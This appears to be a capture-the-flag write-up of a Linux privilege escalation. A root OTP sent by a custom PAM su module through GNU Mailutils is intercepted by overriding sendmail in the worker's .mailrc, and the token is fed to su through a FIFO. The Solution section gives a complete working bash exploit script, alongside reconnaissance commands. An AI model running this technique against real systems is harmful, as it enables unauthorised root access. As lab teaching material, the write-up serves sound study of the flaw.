← Back to Writeups
CUSTOMMediumPentest

Под прикрытием

XESXOR9/10/20263 min read
#pentest#custom#medium#mailrc_sendmail_override#otp_interception#fifo_input_redirection#linux

Под прикрытием

Platform: avitoctf | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: mailrc_sendmail_override, otp_interception, fifo_input_redirection

Summary

Task: A low-privileged SSH account and a PAM root OTP flow expose a trust-boundary flaw in GNU Mailutils configuration. Solution: Override sendmail through the worker's .mailrc, capture the OTP in a FIFO, and feed it to su.

Под прикрытием — avitoctf

Description

Предоставлены SSH-учётные данные пользователя worker. Цель — незаметно получить /root/flag.txt.

English summary: Starting from a low-privileged worker shell, obtain the root-only flag. Root authentication through su uses a custom one-time password sent to root's local mailbox.

Analysis

Focused reconnaissance

The usual direct privilege-escalation checks did not provide a route: worker had no useful sudo rights or file capabilities. The productive clue was the custom PAM entry for su:

bash
id
sudo -n -l 2>&1
getcap -r / 2>/dev/null
cat /etc/pam.d/su
cat /usr/local/bin/pam_otp_root.py
/usr/bin/mail --version

The relevant PAM configuration was:

text
auth requisite pam_python.so /usr/local/bin/pam_otp_root.py

For a root login, the module generated nine decimal digits, invoked Mailutils, and only then prompted su for the same value:

python
p = subprocess.Popen(
    ["/usr/bin/mail", "-s", "OTP for root login", "root"],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

The absolute /usr/bin/mail path prevents a simple PATH hijack, but it does not make the invocation safe. At this point PAM is authenticating a requested identity; su has not yet transitioned to root. GNU Mailutils 3.15 therefore runs in the worker context and reads /home/worker/.mailrc.

Mailutils accepts the following user configuration:

text
set sendmail=/home/worker/sm.sh

This changes its delivery backend to an attacker-controlled executable. The OTP crosses a security boundary through software whose behavior is still configurable by the untrusted caller. It is therefore a trust-boundary and configuration flaw, not a weakness in OTP generation.

Brief dead ends

An unusual movable SGID-mail helper and an injectable backup script suggested a longer chain, but the backupuser cron job never ran because PAM rejected that account. Exim aliases, .forward, transports, expansions, and queue modes either executed as worker or were restricted. These paths were decoys compared with intercepting the OTP directly at its source.

Solution

Create a replacement sendmail program that reads the message from standard input, extracts its nine-digit token, and writes the token to a named pipe:

bash
#!/bin/bash
set -eu

rm -f /home/worker/otp.pipe /home/worker/mailcopy \
      /home/worker/sm.sh /home/worker/.mailrc
mkfifo /home/worker/otp.pipe

printf '%s\n' '#!/bin/sh' \
  'tee /home/worker/mailcopy | grep -Eo "[0-9]{9}" | tail -1 > /home/worker/otp.pipe' \
  > /home/worker/sm.sh
chmod 700 /home/worker/sm.sh

printf 'set sendmail=/home/worker/sm.sh\n' > /home/worker/.mailrc

# Keep both FIFO ends open before starting authentication.
exec 3<>/home/worker/otp.pipe
su root -c 'cat /root/flag.txt' <&3

The ordering around file descriptor 3 is important. Opening a FIFO only for reading normally blocks until a writer appears, while opening it only for writing blocks until a reader appears. exec 3<>... opens the FIFO read/write in the current shell, returns immediately, and keeps a reader present.

Next, su takes its prompt input from descriptor 3. During PAM authentication, Mailutils reads .mailrc and launches sm.sh; that script receives the OTP mail on standard input and writes the extracted token to the FIFO. su consumes the token from the same descriptor, PAM accepts it, and the requested command executes as root.